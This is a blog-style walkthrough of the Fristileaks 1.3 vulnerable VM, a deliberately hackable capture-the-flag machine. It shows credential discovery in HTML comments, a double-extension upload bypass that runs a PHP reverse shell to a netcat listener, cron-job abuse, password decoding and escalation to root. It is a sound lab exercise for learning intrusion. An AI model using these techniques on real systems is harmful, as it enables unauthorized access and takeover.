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Vulnerable VM Walkthrough - Fristileaks

A vulnerable VM walkthrough for Fristileaks 1.3


I recently tried to hack some vulnerable virtual machines (VMs). This is fun and if you are interested in IT security I would recommend trying it yourself one time.

These VMs are intended to be hacked. They have vulnerable applications installed that lead to a complete root access to the machine. You can download vulnerable VMs from different sources. They vary in difficulty and the Fristileaks 1.3 VM seems to be a easier one. It has a capture the flag (CTF), a.k.a puzzle like approach to solve it.

The Fristileaks image can be found at:,133/. This article details the steps necessary to solve this machine.

NMAP scan results

The initial nmap scan shows that only port 80 (HTTP) is open:

80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
http-robots.txt: 3 disallowed entries
/cola /sisi /beer
http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3

HTTP service

The website on port 80 shows the fristileaks motto: KEEP CALM AND DRINK FRISTI and has a member list at the bottom.

Initial Fristileaks Website

The robots.txt file disallows access to the directories: /cola, /beer and /sisi. They all show a meme, for example the one for the URL cola below. Seems like this is not the site I was looking for.

Cola website at:

Fristi Login Site

Because the site says KEEP CALM AND DRINK FRISTI and the Disallow directories are the beverages /cola, /sisi, and /beer I tried to access /fristi/ and did discover a login site:

Fristi Login Site

To be honest I tried also tried a lot of stuff and scanned the site with OWASP ZAP Proxy, dirb and nikto before I got the idea to access /fristi.

There is an interesting comment in the HTML code for the page:

We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz

The HTML contains picture of Nelson directly embedded in the HTML in base64 encoded format and another picture that is commented out, see picture below.

base64 encoded picture in HTML source code

I decoded the picture with and got:

Commented out picture in HTML code of the login page with the text keKkeKKeKKeKkEkkEk

Login with username eezeepz and password keKkeKKeKKeKkEkkEk works and I got a upload form that uploads files to /upload. My test file jaguar.jpg was uploaded to

Fristi Upload page

Getting a shell

I uploaded the pentestmonkey php-reverse-shell from This shell has parameters for $ip and $port in the header of the PHP script that need to be adjusted.

$ip = '';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

The upload function uses a whitelist for file extensions that are allowed for upload. I could not upload the file php-reverse-shell.php directly and had to rename it to php-reverse-shell.php.png.

However, files with the php.png file extension are still executed by PHP. After the upload, I only needed to setup a netcat listener and execute the PHP reverse shell by visiting the URL: and had a shell as the apache user.

$ sudo nc -vnlp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 34082
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.1$ whoami

Privilege escalation

The file /var/www/notes.txt contains a message to the user eezeepz that he should clean up his messy home directory.

$ cat /var/www/notes.txt
hey eezeepz your homedir is a mess, go clean it up, just don't delete
the important stuff.

Let’s see what is in his home directory. The file /home/eezeepz/notes.txt contains another hint:

$ cat notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Dont forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry

Looks like I can setup a cronjob that runs with root privileges but am limited in command usage.

I did change the permissions on the /home/admin folder with: echo "/home/admin/chmod 777 /home/admin/" > runthis.

The directory /home/admin has another hint, the file cryptedpass.txt and the python script

$ cat cryptedpass.txt

The python script shows that the string in cryptedpass.txt is encoded using base64 and ROT13.

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')
print cryptoResult

To decode it we have to first apply the ROT13 algorithm and then decode it from base64 back to cleartext. I did this with the modified python script below:

import base64,codecs,sys
def decodeString(str):
        print "initial double encoded string = " + str
        base64string=codecs.decode(str[::-1], 'rot13')
        print "base64 encoded string = " + base64string
        return cleartextstring
print "cleartext string = " + cryptoResult

The script shows that the password for user admin is thisisalsopw123.

$ python 'mVGZ3O3omkJLmy2pcuTq'
initial double encoded string = mVGZ3O3omkJLmy2pcuTq
base64 encoded string = dGhpc2lzYWxzb3B3MTIz
cleartext string = thisisalsopw123

A login on the PHP reverse shell with these credentials works!

$ python -c 'import pty;pty.spawn("/bin/sh")'
$ su - admin
Password: thisisalsopw123
[admin@localhost ~] $ whoami

There is another file whoisyourgodnow.txt in the /home/admin/ folder. It contains the string =RFn0AKnlMHMPIzpyuTI0ITG. Let’s see what we get from that:

k :: ~ » python '=RFn0AKnlMHMPIzpyuTI0ITG'
initial double encoded string = =RFn0AKnlMHMPIzpyuTI0ITG
base64 encoded string = TGV0VGhlcmVCZUZyaXN0aSE=
cleartext string = LetThereBeFristi!

Login with user fristigod and password LetThereBeFristi! works as well

$ su fristigod
Password: LetThereBeFristi!
$ whoami

We are now root!